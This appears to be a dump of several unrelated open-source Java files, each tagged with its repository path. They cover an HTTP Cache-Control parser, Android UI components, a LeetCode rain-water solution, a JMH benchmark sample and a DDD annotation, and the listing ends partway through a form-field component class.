/********************************************************************************* * * * The MIT License (MIT) * * * * Copyright (c) 2015-2023 aoju.org and other contributors. * * * * Permission is hereby granted, free of charge, to any person obtaining a copy * * of this software and associated documentation files (the "Software"), to deal * * in the Software without restriction, including without limitation the rights * * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included in * * all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * * THE SOFTWARE. * * * ********************************************************************************/ package org.aoju.bus.http.cache; import org.aoju.bus.core.lang.Header; import org.aoju.bus.core.lang.Normal; import org.aoju.bus.http.Headers; import java.util.concurrent.TimeUnit; /** * 缓存控制头,带有来自服务器或客户端的缓存指令。 * 这些指令设置了哪些响应可以存储,以及哪些请求可以由存储的响应来满足的策略 * * @author Kimi Liu * @since Java 17+ */ public class CacheControl { /** * 需要对响应进行网络验证的缓存控制请求指令。请注意,缓存可以通过有条件的GET请求来辅助这些请求. */ public static final CacheControl FORCE_NETWORK = new Builder().noCache().build(); /** * 仅使用缓存的缓存控制请求指令,即使缓存的响应已过期。如果响应在缓存中不可用, * 或者需要服务器验证,调用将失败 */ public static final CacheControl FORCE_CACHE = new Builder() .onlyIfCached() .maxStale(Integer.MAX_VALUE, TimeUnit.SECONDS) .build(); /** * 在请求中,它意味着不使用缓存来满足请求 */ private final boolean noCache; /** * 如果为真,则不应缓存此响应 */ private final boolean noStore; /** * 响应服务日期之后的持续时间,可以在不进行验证的情况下提供该响应 */ private final int maxAgeSeconds; /** * "s-maxage"指令是共享缓存的最大年龄。不要和非共享缓存的"max-age"混淆, * 就像在Firefox和Chrome中一样,这个指令在这个缓存中不受重视 */ private final int sMaxAgeSeconds; private final boolean isPrivate; private final boolean isPublic; private final boolean mustRevalidate; private final int maxStaleSeconds; private final int minFreshSeconds; /** * 这个字段的名称“only-if-cached”具有误导性。它的实际意思是“不要使用网络” * 它是由客户端设置的,客户端只希望请求能够被缓存完全满足。缓存的响应将需要 * 验证(即。如果设置了此标头,则不允许使用条件获取 */ private final boolean onlyIfCached; private final boolean noTransform; private final boolean immutable; String headerValue; private CacheControl(boolean noCache, boolean noStore, int maxAgeSeconds, int sMaxAgeSeconds, boolean isPrivate, boolean isPublic, boolean mustRevalidate, int maxStaleSeconds, int minFreshSeconds, boolean onlyIfCached, boolean noTransform, boolean immutable, String headerValue) { this.noCache = noCache; this.noStore = noStore; this.maxAgeSeconds = maxAgeSeconds; this.sMaxAgeSeconds = sMaxAgeSeconds; this.isPrivate = isPrivate; this.isPublic = isPublic; this.mustRevalidate = mustRevalidate; this.maxStaleSeconds = maxStaleSeconds; this.minFreshSeconds = minFreshSeconds; this.onlyIfCached = onlyIfCached; this.noTransform = noTransform; this.immutable = immutable; this.headerValue = headerValue; } CacheControl(Builder builder) { this.noCache = builder.noCache; this.noStore = builder.noStore; this.maxAgeSeconds = builder.maxAgeSeconds; this.sMaxAgeSeconds = -1; this.isPrivate = false; this.isPublic = false; this.mustRevalidate = false; this.maxStaleSeconds = builder.maxStaleSeconds; this.minFreshSeconds = builder.minFreshSeconds; this.onlyIfCached = builder.onlyIfCached; this.noTransform = builder.noTransform; this.immutable = builder.immutable; } /** * 返回{@code headers}的缓存指令。 * 如果存在Cache-Control和Pragma头文件,则会同时显示它们 * * @param headers headers * @return 缓存控制头 */ public static CacheControl parse(Headers headers) { boolean noCache = false; boolean noStore = false; int maxAgeSeconds = -1; int sMaxAgeSeconds = -1; boolean isPrivate = false; boolean isPublic = false; boolean mustRevalidate = false; int maxStaleSeconds = -1; int minFreshSeconds = -1; boolean onlyIfCached = false; boolean noTransform = false; boolean immutable = false; boolean canUseHeaderValue = true; String headerValue = null; for (int i = 0, size = headers.size(); i < size; i++) { String name = headers.name(i); String value = headers.value(i); if (name.equalsIgnoreCase(Header.CACHE_CONTROL)) { if (null != headerValue) { // 多个cache-control头文件意味着不能使用原始值 canUseHeaderValue = false; } else { headerValue = value; } } else if (name.equalsIgnoreCase("Pragma")) { // 可以指定额外的缓存控制参数。只是以防万一 canUseHeaderValue = false; } else { continue; } int pos = 0; while (pos < value.length()) { int tokenStart = pos; pos = Headers.skipUntil(value, pos, "=,;"); String directive = value.substring(tokenStart, pos).trim(); String parameter; if (pos == value.length() || value.charAt(pos) == ',' || value.charAt(pos) == ';') { pos++; // consume ',' or ';' (if necessary) parameter = null; } else { pos++; // consume '=' pos = Headers.skipWhitespace(value, pos); // quoted string if (pos < value.length() && value.charAt(pos) == '\"') { pos++; // consume '"' open quote int parameterStart = pos; pos = Headers.skipUntil(value, pos, "\""); parameter = value.substring(parameterStart, pos); pos++; // consume '"' close quote (if necessary) // unquoted string } else { int parameterStart = pos; pos = Headers.skipUntil(value, pos, ",;"); parameter = value.substring(parameterStart, pos).trim(); } } if ("no-cache".equalsIgnoreCase(directive)) { noCache = true; } else if ("no-store".equalsIgnoreCase(directive)) { noStore = true; } else if ("max-age".equalsIgnoreCase(directive)) { maxAgeSeconds = Headers.parseSeconds(parameter, -1); } else if ("s-maxage".equalsIgnoreCase(directive)) { sMaxAgeSeconds = Headers.parseSeconds(parameter, -1); } else if ("private".equalsIgnoreCase(directive)) { isPrivate = true; } else if ("public".equalsIgnoreCase(directive)) { isPublic = true; } else if ("must-revalidate".equalsIgnoreCase(directive)) { mustRevalidate = true; } else if ("max-stale".equalsIgnoreCase(directive)) { maxStaleSeconds = Headers.parseSeconds(parameter, Integer.MAX_VALUE); } else if ("min-fresh".equalsIgnoreCase(directive)) { minFreshSeconds = Headers.parseSeconds(parameter, -1); } else if ("only-if-cached".equalsIgnoreCase(directive)) { onlyIfCached = true; } else if ("no-transform".equalsIgnoreCase(directive)) { noTransform = true; } else if ("immutable".equalsIgnoreCase(directive)) { immutable = true; } } } if (!canUseHeaderValue) { headerValue = null; } return new CacheControl(noCache, noStore, maxAgeSeconds, sMaxAgeSeconds, isPrivate, isPublic, mustRevalidate, maxStaleSeconds, minFreshSeconds, onlyIfCached, noTransform, immutable, headerValue); } public boolean noCache() { return noCache; } public boolean noStore() { return noStore; } public int maxAgeSeconds() { return maxAgeSeconds; } public int sMaxAgeSeconds() { return sMaxAgeSeconds; } public boolean isPrivate() { return isPrivate; } public boolean isPublic() { return isPublic; } public boolean mustRevalidate() { return mustRevalidate; } public int maxStaleSeconds() { return maxStaleSeconds; } public int minFreshSeconds() { return minFreshSeconds; } public boolean onlyIfCached() { return onlyIfCached; } public boolean noTransform() { return noTransform; } public boolean immutable() { return immutable; } @Override public String toString() { String result = headerValue; return null != result ? result : (headerValue = headerValue()); } private String headerValue() { StringBuilder result = new StringBuilder(); if (noCache) result.append("no-cache, "); if (noStore) result.append("no-store, "); if (maxAgeSeconds != -1) result.append("max-age=").append(maxAgeSeconds).append(", "); if (sMaxAgeSeconds != -1) result.append("s-maxage=").append(sMaxAgeSeconds).append(", "); if (isPrivate) result.append("private, "); if (isPublic) result.append("public, "); if (mustRevalidate) result.append("must-revalidate, "); if (maxStaleSeconds != -1) result.append("max-stale=").append(maxStaleSeconds).append(", "); if (minFreshSeconds != -1) result.append("min-fresh=").append(minFreshSeconds).append(", "); if (onlyIfCached) result.append("only-if-cached, "); if (noTransform) result.append("no-transform, "); if (immutable) result.append("immutable, "); if (result.length() == 0) { return Normal.EMPTY; } result.delete(result.length() - 2, result.length()); return result.toString(); } /** * 构建一个{@code Cache-Control}请求头 */ public static class Builder { boolean noCache; boolean noStore; int maxAgeSeconds = -1; int maxStaleSeconds = -1; int minFreshSeconds = -1; boolean onlyIfCached; boolean noTransform; boolean immutable; /** * @return 不要接受未经验证的缓存响应 */ public Builder noCache() { this.noCache = true; return this; } /** * @return 不要将服务器的响应存储在任何缓存中 */ public Builder noStore() { this.noStore = true; return this; } /** * 设置缓存响应的最大时间。如果缓存响应的时间超过{@code maxAge},则将不使用它,并发出网络请求 * * @param maxAge 一个非负整数。它以{@link TimeUnit#SECONDS}精度存储和传输;精度会降低 * @param timeUnit 单位 * @return the builder */ public Builder maxAge(int maxAge, TimeUnit timeUnit) { if (maxAge < 0) throw new IllegalArgumentException("maxAge < 0: " + maxAge); long maxAgeSecondsLong = timeUnit.toSeconds(maxAge); this.maxAgeSeconds = maxAgeSecondsLong > Integer.MAX_VALUE ? Integer.MAX_VALUE : (int) maxAgeSecondsLong; return this; } /** * 接受超过新鲜度生存期的缓存响应,最多接受{@code maxStale}。如果未指定,则不使用陈旧的缓存响应 * * @param maxStale 一个非负整数。它以{@link TimeUnit#SECONDS}精度存储和传输;精度会降低 * @param timeUnit 单位 * @return the builder */ public Builder maxStale(int maxStale, TimeUnit timeUnit) { if (maxStale < 0) throw new IllegalArgumentException("maxStale < 0: " + maxStale); long maxStaleSecondsLong = timeUnit.toSeconds(maxStale); this.maxStaleSeconds = maxStaleSecondsLong > Integer.MAX_VALUE ? Integer.MAX_VALUE : (int) maxStaleSecondsLong; return this; } /** * 设置一个响应持续刷新的最小秒数。如果响应在{@code minFresh}过期后失效,则将不使用缓存的响应,并发出网络请求 * * @param minFresh 一个非负整数。它以{@link TimeUnit#SECONDS}精度存储和传输;精度会降低 * @param timeUnit 单位 * @return the builder */ public Builder minFresh(int minFresh, TimeUnit timeUnit) { if (minFresh < 0) throw new IllegalArgumentException("minFresh < 0: " + minFresh); long minFreshSecondsLong = timeUnit.toSeconds(minFresh); this.minFreshSeconds = minFreshSecondsLong > Integer.MAX_VALUE ? Integer.MAX_VALUE : (int) minFreshSecondsLong; return this; } /** * @return 只接受缓存中的响应 */ public Builder onlyIfCached() { this.onlyIfCached = true; return this; } /** * @return 不要接受改变的回应 */ public Builder noTransform() { this.noTransform = true; return this; } public Builder immutable() { this.immutable = true; return this; } public CacheControl build() { return new CacheControl(this); } } }
aoju/bus
bus-http/src/main/java/org/aoju/bus/http/cache/CacheControl.java
65,686
package com.github.mzule.fantasyslide; import android.content.Context; import android.graphics.Color; import android.support.v4.widget.DrawerLayout; import android.util.AttributeSet; import android.widget.RelativeLayout; /** * 封装 SideBar 以及 SideBarBgView,保证 SideBarBgView 可以展示在 SideBar 背后 * Created by CaoDongping on 9/6/16. */ class SideBarWithBg extends RelativeLayout { private SideBarBgView bgView; private SideBar sideBar; public SideBarWithBg(Context context) { super(context); } public SideBarWithBg(Context context, AttributeSet attrs) { super(context, attrs); } public SideBarWithBg(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); } public static SideBarWithBg wrapper(SideBar sideBar) { SideBarWithBg layout = new SideBarWithBg(sideBar.getContext()); layout.init(sideBar); return layout; } private void init(SideBar sideBar) { setLayoutParams(sideBar.getLayoutParams()); int parentLayoutGravity = ((DrawerLayout.LayoutParams) getLayoutParams()).gravity; this.sideBar = sideBar; bgView = new SideBarBgView(getContext()); bgView.setParentLayoutGravity(parentLayoutGravity); addView(bgView, 0, new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT)); // 将背景色转移给 bgView, 并清除 sideBar 自身的背景色 bgView.setDrawable(sideBar.getBackground()); sideBar.setBackgroundColor(Color.TRANSPARENT); sideBar.setParentLayoutGravity(parentLayoutGravity); addView(sideBar, LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT); } void setTouchY(float y, float percent) { bgView.setTouchY(y, percent); sideBar.setTouchY(y, percent); } public void onMotionEventUp() { sideBar.onMotionEventUp(); } }
mzule/FantasySlide
library/src/main/java/com/github/mzule/fantasyslide/SideBarWithBg.java
65,687
package com.scwang.refreshlayout.activity.style; import android.graphics.drawable.Drawable; import android.graphics.drawable.LayerDrawable; import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.ImageView; import androidx.annotation.StringRes; import androidx.appcompat.app.AppCompatActivity; import androidx.appcompat.widget.Toolbar; import androidx.core.content.ContextCompat; import androidx.recyclerview.widget.DefaultItemAnimator; import androidx.recyclerview.widget.DividerItemDecoration; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import com.scwang.refreshlayout.R; import com.scwang.refreshlayout.adapter.BaseRecyclerAdapter; import com.scwang.refreshlayout.adapter.SmartViewHolder; import com.scwang.refreshlayout.util.DynamicTimeFormat; import com.scwang.smartrefresh.layout.api.RefreshLayout; import com.scwang.smartrefresh.layout.constant.SpinnerStyle; import com.scwang.smartrefresh.layout.header.ClassicsHeader; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.List; import java.util.Locale; import java.util.Random; import static android.R.layout.simple_list_item_2; import static androidx.recyclerview.widget.DividerItemDecoration.VERTICAL; public class ClassicsStyleActivity extends AppCompatActivity implements AdapterView.OnItemClickListener { private enum Item { SizeScale("尺寸拉伸", R.string.item_style_spinner_scale), PlaceMove("位置平移", R.string.item_style_spinner_translation), FixedBehind("背后固定", R.string.item_style_spinner_behind), TimeShow("显示时间", R.string.item_style_spinner_update_on), TimeHide("隐藏时间", R.string.item_style_spinner_update_off), // LoadMore("加载更多", R.string.item_style_load_more), ThemeDefault("默认主题", R.string.item_style_theme_default_abstract), ThemeOrange("橙色主题", R.string.item_style_theme_orange_abstract), ThemeRed("红色主题", R.string.item_style_theme_red_abstract), ThemeGreen("绿色主题", R.string.item_style_theme_green_abstract), ThemeBlue("蓝色主题", R.string.item_style_theme_blue_abstract), ; public final String remark; public final int nameId; Item(String remark, @StringRes int nameId) { this.remark = remark; this.nameId = nameId; } } private Toolbar mToolbar; private RecyclerView mRecyclerView; private RefreshLayout mRefreshLayout; private ClassicsHeader mClassicsHeader; private Drawable mDrawableProgress; private static boolean isFirstEnter = true; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_style_classics); mToolbar = findViewById(R.id.toolbar); mToolbar.setNavigationOnClickListener(v -> finish()); mRefreshLayout = findViewById(R.id.refreshLayout); int delta = new Random().nextInt(7 * 24 * 60 * 60 * 1000); mClassicsHeader = (ClassicsHeader)mRefreshLayout.getRefreshHeader(); assert mClassicsHeader != null; mClassicsHeader.setLastUpdateTime(new Date(System.currentTimeMillis()-delta)); mClassicsHeader.setTimeFormat(new SimpleDateFormat("更新于 MM-dd HH:mm", Locale.CHINA)); mClassicsHeader.setTimeFormat(new DynamicTimeFormat("更新于 %s")); // mDrawableProgress = mClassicsHeader.getProgressView().getDrawable(); mDrawableProgress = ((ImageView)mClassicsHeader.findViewById(ClassicsHeader.ID_IMAGE_PROGRESS)).getDrawable(); if (mDrawableProgress instanceof LayerDrawable) { mDrawableProgress = ((LayerDrawable) mDrawableProgress).getDrawable(0); } View view = findViewById(R.id.recyclerView); if (view instanceof RecyclerView) { RecyclerView recyclerView = (RecyclerView) view; recyclerView.setLayoutManager(new LinearLayoutManager(this)); recyclerView.addItemDecoration(new DividerItemDecoration(this, VERTICAL)); recyclerView.setItemAnimator(new DefaultItemAnimator()); List<Item> items = new ArrayList<>(); items.addAll(Arrays.asList(Item.values())); items.addAll(Arrays.asList(Item.values())); recyclerView.setAdapter(new BaseRecyclerAdapter<Item>(items, simple_list_item_2,this) { @Override protected void onBindViewHolder(SmartViewHolder holder, Item model, int position) { holder.text(android.R.id.text1, model.name()); holder.text(android.R.id.text2, model.nameId); holder.textColorId(android.R.id.text2, R.color.colorTextAssistant); } }); mRecyclerView = recyclerView; } if (isFirstEnter) { isFirstEnter = false; //触发自动刷新 mRefreshLayout.autoRefresh(); } // mRefreshLayout.autoRefresh();//开始刷新数据时无数据 // mClassicsHeader.setFinishDuration(0);//关闭Header的完成延时 // mRefreshLayout.setOnRefreshListener(new OnRefreshListener() { // @Override // public void onRefresh(@NonNull RefreshLayout refreshLayout) { // //刷新启动一秒后 关闭刷新 // refreshLayout.getLayout().postDelayed(()->{ // refreshLayout.finishRefresh(); // }, 1000); // //启动刷新两秒后 添加数据 // refreshLayout.getLayout().postDelayed(()->{ // List<Item> items = new ArrayList<>(); // items.addAll(Arrays.asList(Item.values())); // items.addAll(Arrays.asList(Item.values())); // mAdpater.refresh(items); // }, 2000); // } // }); } @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { switch (Item.values()[position % Item.values().length]) { case FixedBehind: mClassicsHeader.setSpinnerStyle(SpinnerStyle.FixedBehind); mRefreshLayout.setPrimaryColors(0xff444444, 0xffffffff); mDrawableProgress.setTint(0xffffffff); /* * 由于是后面才设置,需要手动更改视图的位置 * 如果在 onCreate 或者 xml 中设置好[SpinnerStyle] 就不用手动调整位置了 */ mRefreshLayout.getLayout().bringChildToFront(mRecyclerView); break; case SizeScale: mClassicsHeader.setSpinnerStyle(SpinnerStyle.values[1]); break; case PlaceMove: mClassicsHeader.setSpinnerStyle(SpinnerStyle.Translate); break; case TimeShow: mClassicsHeader.setEnableLastTime(true); break; case TimeHide: mClassicsHeader.setEnableLastTime(false); break; case ThemeDefault: setThemeColor(R.color.colorPrimary, R.color.colorPrimaryDark); mRefreshLayout.getLayout().setBackgroundResource(android.R.color.transparent); mRefreshLayout.setPrimaryColors(0, 0xff666666); mDrawableProgress.setTint(0xff666666); break; case ThemeBlue: setThemeColor(R.color.colorPrimary, R.color.colorPrimaryDark); break; case ThemeGreen: setThemeColor(android.R.color.holo_green_light, android.R.color.holo_green_dark); break; case ThemeRed: setThemeColor(android.R.color.holo_red_light, android.R.color.holo_red_dark); break; case ThemeOrange: setThemeColor(android.R.color.holo_orange_light, android.R.color.holo_orange_dark); break; // case LoadMore: // mRefreshLayout.autoLoadMore(); // return; } mRefreshLayout.autoRefresh(); } private void setThemeColor(int colorPrimary, int colorPrimaryDark) { mToolbar.setBackgroundResource(colorPrimary); mRefreshLayout.setPrimaryColorsId(colorPrimary, android.R.color.white); getWindow().setStatusBarColor(ContextCompat.getColor(this, colorPrimaryDark)); mDrawableProgress.setTint(0xffffffff); } }
scwang90/SmartRefreshLayout
app/src/main/java/com/scwang/refreshlayout/activity/style/ClassicsStyleActivity.java
65,688
package LeetCode.round2; /** * 200218 hard 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。 输入: [0,1,0,2,1,0,1,3,2,1,2,1] 输出: 6 */ public class HARD_P042_接雨水 { /** * 思路硬背下来吧。自己想不太容易。https://leetcode-cn.com/problems/trapping-rain-water/solution/jie-yu-shui-by-leetcode/ * 仔细看解释大概也明白。 * 在双指针中,有LMax和RMax,水位高度由更小的一个值决定(木桶效应)。在双指针收敛的过程中,因为是矮的一方移动,所以矮的一方指针势必存在能和另一侧指针形成一个蓄水区的条件。 * 然而到底能不能蓄水,还要看当前指针高度,相比‘背后’max指针高度是不是低了,低了的话才真正行程一个新的蓄水点。即必须形成 \__/ 这种趋势才行。 */ public int trap(int[] height) { if(height == null || height.length <= 2) return 0; int left = 0, right = height.length - 1, leftMax = 0, rightMax = 0, res = 0; while (left < right){ if(height[left] < height[right]){ if(height[left] >= leftMax) { leftMax = height[left]; }else { res += leftMax - height[left]; } left ++; }else{ if(height[right] >= rightMax) { rightMax = height[right]; }else { res += rightMax - height[right]; } right --; } } return res; } public static void main(String[] args) { HARD_P042_接雨水 p = new HARD_P042_接雨水(); System.out.println(p.trap(new int[]{0,1,0,2,1,0,1,3,3,1,2,1})); //6 System.out.println(p.trap(new int[]{5,2,1,2,1,5})); //14 System.out.println(p.trap(new int[]{0,0,0,1})); //0 } }
zhuxiuwei/algo
src/LeetCode/round2/HARD_P042_接雨水.java
65,689
package com.cxd.benchmark; import org.openjdk.jmh.annotations.*; import org.openjdk.jmh.infra.Blackhole; import org.openjdk.jmh.runner.Runner; import org.openjdk.jmh.runner.RunnerException; import org.openjdk.jmh.runner.options.Options; import org.openjdk.jmh.runner.options.OptionsBuilder; import java.util.concurrent.TimeUnit; /** * 死代码消除解决 * * @author childe * @date 2018/10/9 11:44 **/ @BenchmarkMode(Mode.AverageTime) @OutputTimeUnit(TimeUnit.NANOSECONDS) @State(Scope.Thread) public class JMHSample_09_Blackholes { /* * Should your benchmark require returning multiple results, you have to * consider two options (detailed below). * * NOTE: If you are only producing a single result, it is more readable to * use the implicit return, as in JMHSample_08_DeadCode. Do not make your benchmark * code less readable with explicit Blackholes! * * 你的基准测试是否需要返回付哦个测试结果,你需要考虑下民两个问题。 * 注意:如果你只会产生一个结果,应该使用更易读的明确return,就像JMHSample_08_DeadCode。 * 不要使用明确的Blackholes来降低您的基准代码的可读性! */ double x1 = Math.PI; double x2 = Math.PI * 2; /* * Baseline measurement: how much single Math.sampleLog costs. */ @Benchmark public double baseline() { return Math.log(x1); } /* * While the Math.sampleLog(x2) computation is intact(完好), Math.sampleLog(x1) * is redundant and optimized out. */ @Benchmark public double measureWrong() { Math.log(x1); return Math.log(x2); } /* * This demonstrates(演示) Option A: * * Merge multiple results into one and return it. * This is OK when is computation is relatively heavyweight, and merging * the results does not offset the results much. * * 演示选项A: * 合并多个结果并返回。 * 这种方式行得通,但相对较重,并且这个结果不会对结果有太大影响。 */ @Benchmark public double measureRight_1() { return Math.log(x1) + Math.log(x2); } /* * This demonstrates Option B: * * Use explicit Blackhole objects, and sink the values there. * (Background: Blackhole is just another @State object, bundled with JMH). * * 演示选项B: * 明确的使用Blackhole对象,并且把值汇入。 * (背后:Blackhole就像另一个@State对象,绑定在JMH)。 */ @Benchmark public void measureRight_2(Blackhole bh) { bh.consume(Math.log(x1)); bh.consume(Math.log(x2)); } public static void main(String[] args) throws RunnerException { Options opt = new OptionsBuilder() .include(JMHSample_09_Blackholes.class.getSimpleName()) .forks(1) .build(); new Runner(opt).run(); } }
Childe-Chen/goodGoodStudy
src/main/java/com/cxd/benchmark/JMHSample_09_Blackholes.java
65,691
/* * Copyright DDDplus Authors. * * Licensed under the Apache License version 2.0, available at http://www.apache.org/licenses/LICENSE-2.0 */ package io.github.dddplus.annotation; import io.github.dddplus.ext.IDomainExtension; import io.github.dddplus.runtime.BasePattern; import org.springframework.stereotype.Component; import java.lang.annotation.*; /** * 业务模式的身份识别. * <p> * <p>全局业务模式,串联面状业务变化,识别出业务模式需要全局(至少是多环节)地对业务变化进行本质性思考,这些不同变化都可以归因到某个业务模式</p> * <p>设计思想:模式的定义、模式的相关行为与实现分离,背后是关注点分离,隔离变化</p> * <p>一个请求可能涉及多个{@link Pattern}的叠加,即业务身份重叠,例如:按生产单出库的校验,可能涉及【预售模式】、【质押模式】等的叠加,都允许才能出库</p> * <ul>如何理解{@code Pattern}与{@code IDomainExtension}? * <li>{@code Pattern},相当于把散落在各处的某个业务逻辑{@code if} 判断条件,收敛到{@code Pattern}类里,使得这些业务判断显式化,有形化,有了化身,并有了个名字(UL)</li> * <li>扩展点,相当于把{@code if} 后面的code block抽象并归一化,是一种细粒度的行为</li> * <li>一个{@link Pattern}可能对应多个扩展点,即设计思想里的【模式的定义与模式相关行为分离】,例如:预售模式行为可能涉及出库前校验、接单补全、生产计划等</li> * </ul> * <p>{@link Pattern}是InnerSource开发模式的有效手段:中台定义模式编码并通过{@link Pattern}统一定义路由,中台与BP共同在一个共享代码库实现{@link Pattern}对应的扩展点.</p> */ @Target({ElementType.TYPE}) @Retention(RetentionPolicy.RUNTIME) @Documented @Inherited @Component public @interface Pattern { /** * 业务模式编号. */ String code(); /** * 业务模式名称. */ String name() default ""; /** * 该业务模式的业务标签. */ String[] tags() default {}; /** * 优先级,越小表示优先级越高. * <p> * <p>用于解决业务模式匹配的顺序问题</p> * <p>只应用于同一个扩展点在不同{@code Pattern}间的顺序问题,不同的扩展点间优先级不具备可比性</p> */ int priority() default 1024; /** * 该{@code Pattern}类是否用于解析和识别业务模式. * <p> * <ul>{@code Pattern}特有的行为,不仅包括{@link IDomainExtension},还可能有: * <li>Application Service</li> * <li>Domain Service</li> * <li>etc</li> * </ul> * <p>对于这类非业务模式解析和识别应用场景,需要设置{@link #asResolver()} ()}为{@code false}.</p> */ boolean asResolver() default true; }
funkygao/cp-ddd-framework
dddplus-runtime/src/main/java/io/github/dddplus/annotation/Pattern.java
65,693
package com.cheng.bigtalkdesignpatterns.visitor; /** * 具体“状态”类 * 成功 */ public class Success extends Action { @Override public void getManConclusion(Man concreteElementA) { System.out.println("时,背后多半有一个伟大的女人。"); } @Override public void getWomanConclusion(Woman concreteElementB) { System.out.println("时,背后大多数有一个不成功的男人"); } }
DIY-green/AndroidStudyDemo
DesignPatternStudy/src/main/java/com/cheng/bigtalkdesignpatterns/visitor/Success.java
65,698
package com.terapico.caf.viewcomponent; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.List; import java.util.Map; import com.fasterxml.jackson.annotation.JsonPropertyOrder; import com.fasterxml.jackson.core.JsonProcessingException; import com.terapico.utils.DebugUtil; import com.terapico.utils.MapUtil; /** * 表单字段组件。 * <p> * type=form-field * </p> * * 表单字段的属性比较多,沿袭之前的设计。 核心的字段说明: * <ul> * <li>type:字段类型。 参见{@link FormFieldViewComponent#type 字段类型}</li> * <li>candidateValues:字段候选值。 参见{@link FormFieldViewComponent#candidateValues * 候选值}</li> * </ul> * * @author clariones * */ @JsonPropertyOrder({ "componentType", "type", "label", "content", "placeholder" }) public class FormFieldViewComponent extends BaseViewComponent { public static final String TYPE_TEXT = "text"; public static final String TYPE_LONG_TEXT = "longtext"; public static final String TYPE_DATE = "date"; public static final String TYPE_DATE_TIME = "date_time"; public static final String TYPE_MONEY = "money"; public static final String TYPE_URL = "url"; public static final String TYPE_IMAGE = "image"; public static final String TYPE_PASSWORD = "password"; public static final String TYPE_NUMBER = "number"; public static final String TYPE_SELECT = "select"; public static final String TYPE_RADIO = "radio"; public static final String TYPE_SWITCH = "switch"; public static final String TYPE_CHECK_BOX = "checkbox"; public static final String TYPE_VERIFY_CODE = "vcode"; public static final String TYPE_HIDDEN = "hidden"; /** 标签。显示该字段的提示名称. 也可能为空。例如 checkbox 类型的输入自带值说明,所以字段标签可能会被忽略 */ protected String label; /** i18n 使用 */ protected String localeKey; /** 对应的表单字段名. MUST */ protected String parameterName; /** * 字段类型。 * * 这个字段表明字段该如何接收输入数据。 * <ol> * <li>text: 普通的文本输入字段。</li> * <li>longtext: 大段文本的输入字段。</li> * <li>date:日期选择器</li> * <li>date_time:日期+时间选择器</li> * <li>money:金额输入字段。</li> * <li>url:URL输入字段。</li> * <li>image:图像字段。应具备上传/预览/删除的基本功能</li> * <li>password:口令输入字段。</li> * <li>number:数字输入字段。</li> * <li>select: 有限集合内选择之一输入的字段。典型的是下拉列表。</li> * <li>radio: 有限集合内选择之一输入的字段。但是全部显示出来。</li> * <li>switch:在 真/假 之间选择的字段。</li> * <li>checkbox:在有限集合内,可以多选的字段。典型的是一组多选框。</li> * <li>vcode:短信校验码的特定输入字段。背后ajax调用发送短信码等操作是OOTB的。</li> * </ol> */ protected String type; /** 空值占位符. 只有支持placeholder的元素才有效。 */ protected String placeholder; /** 初始值。 */ protected String defaultValue; /** 字段描述 */ protected String description; /** 字段分组。 暂时不用,忽略 */ protected String fieldGroup; /** 最小值。 暂时不用,忽略 */ protected String minValue = "0"; /** 最大值。 暂时不用,忽略 */ protected String maxValue = "128"; /** 是否必填字段。 缺省false */ protected boolean required = false; /** 是否禁止编辑 */ protected boolean disabled = false; /** 字段关联的信息内容。可能没有 */ protected String fieldMessage; /** 字段关联信息的级别。 包括:default, info, warning, error */ protected String fieldMessageLevel; /** 富文本内容。 用于具备简单样式的表单输入的场景。例如选择项时,给出更详细的说明。 */ protected String richContent; /** * 候选值 * * 对<b>select</b>的类型的字段,格式为一个简单Map对象:。<br/> * <ul> * <li>value:要输入的值。 String</li> * <li>displayText:界面上显示的值。 String</li> * </ul> * 例如: <br> * [{"value":"13800000001","displayText":"张师傅(接车代审员)"},<br/> * <br> * {"value":"13800000003","displayText":"李师傅(接单员)"}]</br> * <p> * </p> * * 对<b>checkbox</b>的类型的字段,格式为一个简单Map对象:。<br/> * <ul> * <li>value:要输入的值。 String</li> * <li>displayText:界面上显示的值。String</li> * <li>checked:是否被选中, Boolean</li> * </ul> * 例如: <br> * [{"value":"game","displayText":"玩游戏","checked":false},</br> * <br> * {"value":"reading","displayText":"读书","checked":true},</br> * <br> * {"value":"work","displayText":"有正当职业","checked":true}]</br> * <p> * </p> */ protected List<Map<String, Object>> candidateValues; /** 建议值。 逗号分隔的字符串。 目前不支持type-ahead. 暂不考虑其定义细节。 */ protected String suggestValues; /** 显示的最大行数. 没有则不限制 */ protected Integer maxLine; public String getRichContent() { return richContent; } public void setRichContent(String richContent) { this.richContent = richContent; } public Integer getMaxLine() { return maxLine; } public void setMaxLine(Integer maxLine) { this.maxLine = maxLine; } public String getLabel() { return label; } public void setLabel(String label) { this.label = label; } public String getLocaleKey() { return localeKey; } public void setLocaleKey(String localeKey) { this.localeKey = localeKey; } public String getParameterName() { return parameterName; } public void setParameterName(String parameterName) { this.parameterName = parameterName; } public String getType() { return type; } public void setType(String dataType) { this.type = dataType; } public String getPlaceholder() { return placeholder; } public void setPlaceholder(String placeholder) { this.placeholder = placeholder; } public String getDefaultValue() { return defaultValue; } public void setDefaultValue(String defaultValue) { this.defaultValue = defaultValue; this.content = defaultValue; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public String getFieldGroup() { return 